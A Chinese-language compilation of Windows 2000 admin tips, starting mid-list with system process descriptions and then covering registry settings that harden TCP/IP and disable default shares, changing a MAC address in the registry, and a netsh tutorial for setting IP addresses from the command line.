vwipxspx.exe > Loads IPX/SPX VDM 调用IPX/SPX VDM

w32tm.exe > Windows Time Server 时间服务器

wextract.exe > Used to extract windows files 解压缩Windows文件

winchat.exe > Opens Windows Chat 打开Windows聊天

winhlp32.exe > Starts the Windows Help System 运行帮助系统

winlogon.exe > Used as part of the logon process. Logon进程的一部分

winmine.exe > windows Game 挖地雷

winmsd.exe > Windows Diagnostic utility 系统信息

wins.exe > Wins Service Wins服务

winspool.exe > Print Routing 打印路由

winver.exe > Displays the current version of Windows 显示Windows版本

wizmgr.exe > Starts Windows Administration Wizards Windows管理向导

wjview.exe > Command line loader for Java 命令行调用Java

wowdeb.exe > . For starters, the 32-bit APIs require that the WOWDEB.EXE task runs in the target debugee`s VM 启动时,32位API需要

wowexec.exe > For running Windows over Windows Applications 在Windows应用程序上运行Windows

wpnpinst.exe > ?

write.exe > Starts MS Write Program 写字板

wscript.exe > Windows Scripting Utility 脚本工具

wupdmgr.exe > Starts the Windows update Wizard (Internet) 运行Windows升级向导

xcopy.exe > Used to copy directories 复制文件和目录,包括子目录
修改注册表加强Win 2000安全
资料编号:23760 来源:电脑报 发布:zwh 时间:2003.04.14 15:42 人气:841 关闭窗口

  1、设置生存时间

  HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters

  DefaultTTL REG_DWORD 0-0xff(0-255 十进制,默认值128)

  说明:指定传出IP数据包中设置的默认生存时间(TTL)值。TTL决定了IP数据包在到达目标前在网络中生存的最大时间。它实际上限定了IP数据包在丢弃前允许通过的路由器数量.有时利用此数值来探测远程主机*作系统。

  2、防止ICMP重定向报文的攻击

  HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters

  EnableICMPRedirects REG_DWORD 0x0(默认值为0x1)

  说明:该参数控制Windows 2000是否会改变其路由表以响应网络设备(如路由器)发送给它的ICMP重定向消息,有时会被利用来干坏事.Win2000中默认值为1,表示响应ICMP重定向报文。

  3、禁止响应ICMP路由通告报文

  HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\Inter

  faces\\interface

  PerformRouterDiscovery REG_DWORD 0x0(默认值为0x2)

  说明:“ICMP路由公告”功能可造成他人计算机的网络连接异常,数据被窃听,计算机被用于流量攻击等严重后果.此问题曾导致校园网某些局域网大面积,长时间的网络异常。因此建议关闭响应ICMP路由通告报文.Win2000中默认值为2,表示当DH CP发送路由器发现选项时启用。

  4、防止SYN洪水攻击

  HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters

  SynAttackProtect REG_DWORD 0x2(默认值为0x0)

  说明:SYN攻击保护包括减少SYN-ACK重新传输次数,以减少分配资源所保留的时间。路由缓存项资源分配延迟,直到建立连接为止.如果synattackprotect=2,则AFD的连接指示一直延迟到三路握手完成为止.注意,仅在TcpMaxHalfOpen和TcpMaxHalfO penRetried设置超出范围时,保护机制才会采取措施。

 5、禁止C$、D$一类的缺省共享

  HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\lanmanserver\\parameters

  AutoShareServer、REG_DWORD、0x0

  6、禁止ADMIN$缺省共享

  HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\lanmanserver\\parameters

  AutoShareWks、REG_DWORD、0x0

  7、限制IPC$缺省共享

  HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Lsa

  restrictanonymous REG_DWORD 0x0 缺省

              0x1 匿名用户无法列举本机用户列表

              0x2 匿名用户无法连接本机IPC$共享

  说明:不建议使用2,否则可能会造成你的一些服务无法启动,如SQL Server

  8、不支持IGMP协议

  HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters

  IGMPLevel REG_DWORD 0x0(默认值为0x2)

  说明:记得Win9x下有个bug,就是用可以用IGMP使别人蓝屏,修改注册表可以修正这个bug.Win2000虽然没这个bug了,但IGMP并不是必要的,因此照样可以去掉。改成0后用route print将看不到那个讨厌的224.0.0.0项了。

  9、设置arp缓存老化时间设置

  HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services:\\Tcpip\\Parameters

  ArpCacheLife REG_DWORD 0-0xFFFFFFFF(秒数,默认值为120秒)

  ArpCacheMinReferencedLife REG_DWORD 0-0xFFFFFFFF(秒数,默认值为600)

  说明:如果ArpCacheLife大于或等于ArpCacheMinReferencedLife,则引用或未引用的ARP缓存项在ArpCacheLife秒后到期。如果ArpCacheLife小于ArpCacheMinReferencedL ife,未引用项在ArpCacheLife秒后到期,而引用项在ArpCacheMinReferencedLife秒后到期。每次将出站数据包发送到项的IP地址时,就会引用ARP缓存中的项。

 10、禁止死网关监测技术

  HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services:\\Tcpip\\Parameters

  EnableDeadGWDetect REG_DWORD 0x0(默认值为ox1)

  说明:如果你设置了多个网关,那么你的机器在处理多个连接有困难时,就会自动改用备份网关。有时候这并不是一项好主意,建议禁止死网关监测。

  11、不支持路由功能

  HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services:\\Tcpip\\Parameters

  IPEnableRouter REG_DWORD 0x0(默认值为0x0)

  说明:把值设置为0x1可以使Win2000具备路由功能,由此带来不必要的问题。

  12、做NAT时放大转换的对外端口最大值

  HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services:\\Tcpip\\Parameters

  MaxUserPort REG_DWORD 5000-65534(十进制)(默认值0x1388--十进制为5000)

  说明:当应用程序从系统请求可用的用户端口数时,该参数控制所使用的最大端口数。正常情况下,短期端口的分配数量为1024-5000。将该参数设置到有效范围以外时,就会使用最接近的有效数值(5000或65534)。使用NAT时建议把值放大点。

  13、修改MAC地址

  HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Class\\

  找到右窗口的说明为"网卡"的目录,

  比如说是{4D36E972-E325-11CE-BFC1-08002BE10318}

展开之,在其下的0000,0001,0002...的分支中找到"DriverDesc"的键值为你网卡的说明,比如说"DriverDesc"的值为"Intel 82559 Fast Ethernet LAN on Motherboard"然后在右窗口新建一字符串值,名字为"Networkaddress",内容为你想要的MAC值,比如说是"004040404040"然后重起计算机,ipconfig /all看看。
曾几何时,大家都有想过在命令行下改IP和网关。以前在NT4下实现起来过于麻烦,现在Windows 2000下的Netsh命令能实现该功能了。

Netsh 是本地或远程计算机的 Windows 2000 网络组件的命令行和脚本实用程序。为了存档或配置其他服务器,Netsh 实用程序也可以将配置脚本保存在文本文件中。

Netsh 实用程序是一个外壳,它通过附加的"Netsh 帮助 DLL",可以支持多个 Windows 2000 组件。"Netsh 帮助 DLL"提供用来监视或配置特定 Windows 2000 网络组件的其他命令,从而扩展了 Netsh 的功能。每个"Netsh 帮助 DLL"都为特定的网络组件提供了一个环境和一组命令。每个环境中都可以有子环境。例如,在路由环境中存在子环境 Ip 和 Ipx,它们将 IP 路由和 IPX 路由命令集中在一起。

Netsh 命令行选项包括下列各项:

用法: netsh [-a AliasFile] [-c Context] [-r RemoteMachine]
[Command | -f ScriptFile]

下列指令有效:

此上下文中的命令:
? - 显示命令列表。
aaaa - 更改到 `aaaa` 上下文。
add - 将一个配置项添加到项目列表中。
delete - 在项目列表上删除一个配置项目。
dhcp - 更改到 `dhcp` 上下文。
dump 0 - 显示一个配置脚本。
exec - 运行一个脚本文件。
help - 显示命令列表。
interface - 更改到 `interface` 上下文。
ras - 更改到 `ras` 上下文。
routing - 更改到 `routing` 上下文。
set - 更新配置设置。
show - 显示信息
wins - 更改到 `wins` 上下文。

下列的子上下文可用:
routing interface ras dhcp wins aaaa

若需要命令的更多帮助信息,请键入命令,
后面跟 ?。
-a AliasFile
指定使用了一个别名文件。别名文件包含 netsh 命令列表和一个别名版本,所以可以使用别名命令行替换 netsh 命令。可以使用别名文件将其他平台中更熟悉的命令映射到适当的 netsh 命令。

-c Context
指定对应于已安装的支持 DLL 的命令环境。

命令
指定要执行的 netsh 命令。

-f ScriptFile
指定运行 ScriptFile 文件中所有的 netsh 命令。

-r RemoteMachine
指定在远程计算机上运行 netsh 命令,由名称或 IP 地址来指定远程计算机。

您可以将命令缩写为意义明确的最短的字符串。例如,发布 sh ip int 命令相当于发布 show ip interface。Netsh 命令可以是全局的或特定环境的。全局命令可以在任何环境中发布,并用于一般的 Netsh 实用程序功能。特定环境的命令随环境而变化。您可以将发布的命令记录在日志文件中,以创建 netsh 命令会话的审核踪迹。

列出了 netsh 全局命令。

命令 说明
.. 上移一个环境等级。
? 或 help 显示命令行"帮助"。
show version 显示 Windows 和 Netsh 实用程序的当前版本。
show netdlls 显示已安装的"Netsh 帮助 DLL"的当前版本。
add helper 添加"Netsh 帮助 DLL"。
delete helper 删除"Netsh 帮助 DLL"。
show helper 显示已安装的"Netsh 帮助 DLL"。
cmd 创建 Windows 2000 命令窗口。
online 将当前模式设置为联机。
offline 将当前模式设置为脱机。
set mode 将当前模式设置为联机或脱机。
show mode 显示当前模式。
flush 丢弃以脱机模式进行的任何更改。
commit 提交以脱机模式进行的更改。
set audit-logging 打开或关闭记录工具。
show audit-logging 显示当前的审核记录设置。
set loglevel 设置记录信息的级别
show loglevel 显示记录信息的级别。
set machine 配置执行 netsh 命令的计算机。
show machine 显示执行 netsh 命令的计算机。
exec 执行包括 netsh 命令的脚本文件。
quit 或 bye 或 exit 退出 Netsh 实用程序。
add alias 向现有命令添加别名。
delete alias 删除现有命令的别名。
show alias 显示所有已定义的别名。
dump 将配置写入文本文件。
popd 从堆栈中弹出环境的脚本命令。
pushd 将当前的环境推入堆栈的脚本命令。

Netsh 实用程序有如下命令模式:

联机
联机模式下,在 Netsh 命令提示符下发布的命令被立即执行。

脱机
脱机模式下,将在 Netsh 命令提示符下积累发布的命令,并通过发布 commit 全局命令来按照批处理方式执行。可以通过发布 flush 全局命令来丢弃积累的命令。

脚本
使用 -f 命令行选项,或在 Netsh 命令提示符下发布 exec 全局命令,可以执行指定文件中所有的 netsh 命令。

要创建当前配置的脚本,请使用 dump 全局命令。dump 命令根据 netsh 命令输出当前运行的配置。可以使用该命令创建的脚本来配置新的服务器或重新配置现有的服务器。如果要对组件的配置作很大的更改,推荐您使用 dump 命令开始配置会话,以防在进行更改前需要还原配置。

Interface 命令
下表列出了可在 Windows 2000 命令提示符下键入的 netsh 命令,这些命令用于管理运行 Windows 2000 Server 及"路由和远程访问"服务的计算机上的接口设置。如果对某个特殊功能有多个命令,则在每个命令之间用斜线 (/) 分隔。

当在命令提示符下键入命令时,请在每个命令前加上 netsh。要获得每个命令的精确语法,可在命令之后键入 ?。选项例如,要获得 netsh interface 命令的命令行"帮助",请在命令提示符下键入 netsh interface?。

命令 说明
interface set/show interface 启用、禁用、连接、断开连接以及显示请求拨号接口的配置。
interface set/show credentials 在请求拨号接口上配置或显示用户名、密码和域名。

……… (省略二、三千字)


言归正传,现在来看看WIN2000下的网络设置的配置。

D:\\>netsh
netsh>interface
interface>dump
#========================
# 接口配置
#========================
pushd interface

reset all


popd
# 接口配置结束

# ----------------------------------
# 接口 IP 配置
# ----------------------------------
pushd interface ip


# "本地连接 2" 的接口 IP 配置

set address name = "本地连接 2" source = dhcp
set dns name = "本地连接 2" source = dhcp
set wins name = "本地连接 2" source = dhcp

# "本地连接" 的接口 IP 配置

set address name = "本地连接" source = static addr = 192.168.1.10 mask = 255.255.255.0
set address name = "本地连接" gateway = 192.168.0.1 gwmetric = 1
set dns name = "本地连接" source = static addr = 192.168.0.1
set wins name = "本地连接" source = static addr = none


popd
# 接口 IP 配置结束


如果,你想快速修改一个本地IP地址。
你可以先用文本写入以下的内容:

interface ip
set address 本地连接 static 192.168.5.10 255.255.255.0 192.168.0.1 1
^^^ ^^^ ^^^ ^^^ ^^
接口名称 IP地址 子网掩码 网关 接口跃点数

如上保存为 local.sh

D:\\>netsh exec local.sh